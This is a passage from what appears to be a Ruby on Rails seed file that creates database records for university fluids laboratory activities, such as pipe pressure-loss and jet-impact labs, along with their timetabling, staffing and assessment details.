momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a140.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a140.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a140.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a141 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: true, in_drive: true, user_id: 4)\n at141 = ActivityTimetable.where(activity_id: a141.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a141.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9qwwhzl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a141.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a141.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a141.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a141.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a142 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 2)\n at142 = ActivityTimetable.where(activity_id: a142.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a142.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7wjrgm4\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a142.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a142.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a142.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a142.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a143 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 2)\n at143 = ActivityTimetable.where(activity_id: a143.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a143.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a143.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a143.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a143.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a143.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a144 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 5)\n at144 = ActivityTimetable.where(activity_id: a144.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a144.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/z4kbm44\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a144.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a144.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a144.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a144.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a145 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 1)\n at145 = ActivityTimetable.where(activity_id: a145.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a145.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/npbx2ko\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a145.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a145.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a145.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a145.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a146 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: false, user_id: 3)\n at146 = ActivityTimetable.where(activity_id: a146.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a146.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydd9x9tm\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a146.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a146.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a146.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a146.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a147 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode3\").first_or_create!(name: \"Measurement Lab\",\n name_abrv: \"MEASUREMENT\", archived: false, in_drive: true, user_id: 3)\n at147 = ActivityTimetable.where(activity_id: a147.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a147.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/pnm2bq4\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a147.id).first_or_create!(criteria: \"Basic understanding of hydrodynamics, flow measurement techniques and error/uncertainty\",\n job_desc:\"An introductory lab for first year undergraduate students. Helping students to use the hydraulic benches for the first time and to understand the concepts of error and uncertainty.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a147.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a147.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a148 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"DATAPLUS\", archived: false, in_drive: false, user_id: 3)\n at148 = ActivityTimetable.where(activity_id: a148.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a148.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya8awfxx\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a148.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a148.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a148.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a148.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a149 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 1)\n at149 = ActivityTimetable.where(activity_id: a149.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a149.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/nojav7n\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a149.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a149.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a149.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a149.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a150 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 3)\n at150 = ActivityTimetable.where(activity_id: a150.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a150.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxswpben\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a150.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a150.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a150.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a150.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a151 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 3)\n at151 = ActivityTimetable.where(activity_id: a151.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a151.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ovyq7rl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a151.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a151.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a151.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a151.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a152 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 5)\n at152 = ActivityTimetable.where(activity_id: a152.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a152.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybo5vgmz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a152.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a152.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a152.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a152.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a153 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"417\").first_or_create!(name: \"Network of Pipes\",\n name_abrv: \"NETPIPES\", archived: false, in_drive: false, user_id: 2)\n at153 = ActivityTimetable.where(activity_id: a153.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 240, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a153.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yby2as9u\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a153.id).first_or_create!(criteria: \"Undertanding frictional losses in piping networks and hardy cross method for civil engineering students\",\n job_desc:\"Students are supplied with a network of pipes, in which the network layout and diameters of pipes can be altered. The flow through two outlet ports and pressure drop across all pipes can be recorded, and compared to the hardy cross method to predict the results.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a153.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a153.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a153.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a154 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"418\").first_or_create!(name: \"Open Channel Self Teach Lab\",\n name_abrv: \"FLUME\", archived: false, in_drive: true, user_id: 3)\n at154 = ActivityTimetable.where(activity_id: a154.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a154.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/oby5tq9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a154.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a154.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a154.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a154.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a156 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: false, user_id: 5)\n at156 = ActivityTimetable.where(activity_id: a156.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a156.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85r57gr\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a156.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a156.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a156.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a156.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a157 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 4)\n at157 = ActivityTimetable.where(activity_id: a157.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a157.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycc92c93\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a157.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a157.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a157.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a157.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a158 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 5)\n at158 = ActivityTimetable.where(activity_id: a158.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a158.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya868p4e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a158.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a158.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a158.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a158.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a159 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 1)\n at159 = ActivityTimetable.where(activity_id: a159.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a159.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya7weqcq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a159.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a159.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a159.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a159.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a160 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n 